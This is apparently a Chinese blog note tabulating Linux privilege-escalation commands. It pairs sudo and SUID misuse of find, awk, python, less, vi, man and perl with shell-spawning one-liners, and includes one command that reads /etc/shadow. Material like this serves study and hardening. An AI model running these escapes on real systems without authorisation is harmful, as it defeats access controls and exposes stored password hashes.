現在AI工具這么豐富,稍微搜一下就有一個差不多的總結輸出。但是,可能還不夠詳細,或者給得太多~~~
今天時間關系,今天只總結了在Linux如何提權到root,并沒有寫如何進行防護。后面有時間,我再總結一下。
命令 | 實操 | 前提條件 | 作用說明 | 補充說明 |
su | su | 擁有root口令 | 切換到 root 用戶(繼承當前環境) | |
su -, -l, --login? | 擁有root口令 | 切換到 root 用戶(使用root環境變量) | ||
sudo | sudo -s | 當前用戶在 sudoers 列表,擁有bash等默認shell的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
sudo bash | 當前用戶在 sudoers 列表,擁有bash等默認shell的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | ||
sudo -i | 當前用戶在 sudoers 列表,擁有bash等默認shell的可執行權限 | 登錄式 root shell訪問(使用root環境變量) | ||
sudo su | 當前用戶在 sudoers 列表,擁有su命令的可執行權限 | 切換到 root 用戶(繼承當前環境) | ||
sudo su - | 當前用戶在 sudoers 列表,擁有su命令的可執行權限 | 切換到 root 用戶(使用root環境變量) | ||
ssh | ssh root@localhost | 擁有root口令 | 登錄式 root shell訪問(使用root環境變量) | |
ssh -i /path/to/root_key root@host | 擁有公鑰文件 | 登錄式 root shell訪問(使用root環境變量) | ||
find | sudo find . -exec /bin/sh \; -quit | 當前用戶在 sudoers 列表,擁有find命令的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
find . -exec /bin/sh \; -quit | find被授權SUID或者GUID | 非登錄式 root shell訪問(保留原環境變量) 仍然是普通用戶權限 | 1、find確實會將root權限傳遞給給-exec下的命令 2、但是,shell命令可能并不吃這一套 | |
find . -exec cat /etc/shadow \; -quit | find被授權SUID或者GUID | 查看/etc/shadow文件(成功) | ||
awk | sudo awk 'BEGIN {system("/bin/sh")}' | 當前用戶在 sudoers 列表,擁有awk命令的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
awk 'BEGIN {system("/bin/sh")}' | awk被授權SUID或者GUID | 非登錄式 root shell訪問(保留原環境變量) | ||
python? | sudo python -c 'import os; os.setuid(0); os.system("/bin/sh")' | 當前用戶在 sudoers 列表,擁有python命令的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
python -c 'import os; os.setuid(0); os.system("/bin/sh")' | python被授權SUID或者GUID | 非登錄式 root shell訪問(保留原環境變量) | ||
less/more | sudo less /etc/shadow → v → :!/bin/sh | 當前用戶在 sudoers 列表,擁有less命令的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
less /etc/shadow → v → :!/bin/sh | less被授權SUID或者GUID | 非登錄式 root shell訪問(保留原環境變量) | ||
vim/vi | sudo vi -c ':!/bin/bash' | 當前用戶在 sudoers 列表,擁有vim/vi命令的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
vi -c ':!/bin/bash' | vim/vi被授權SUID或者GUID | 非登錄式 root shell訪問(保留原環境變量) | ||
man | sudo man passwd → !/bin/sh | 當前用戶在 sudoers 列表,擁有man命令的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
man passwd → !/bin/sh | man被授權SUID或者GUID | 非登錄式 root shell訪問(保留原環境變量) | ||
perl | sudo perl -e 'system("/bin/bash")' | 當前用戶在 sudoers 列表,擁有perl命令的可執行權限 | 非登錄式 root shell訪問(保留原環境變量) | |
perl -e 'system("/bin/bash")' | perl被授權SUID或者GUID | 非登錄式 root shell訪問(保留原環境變量) |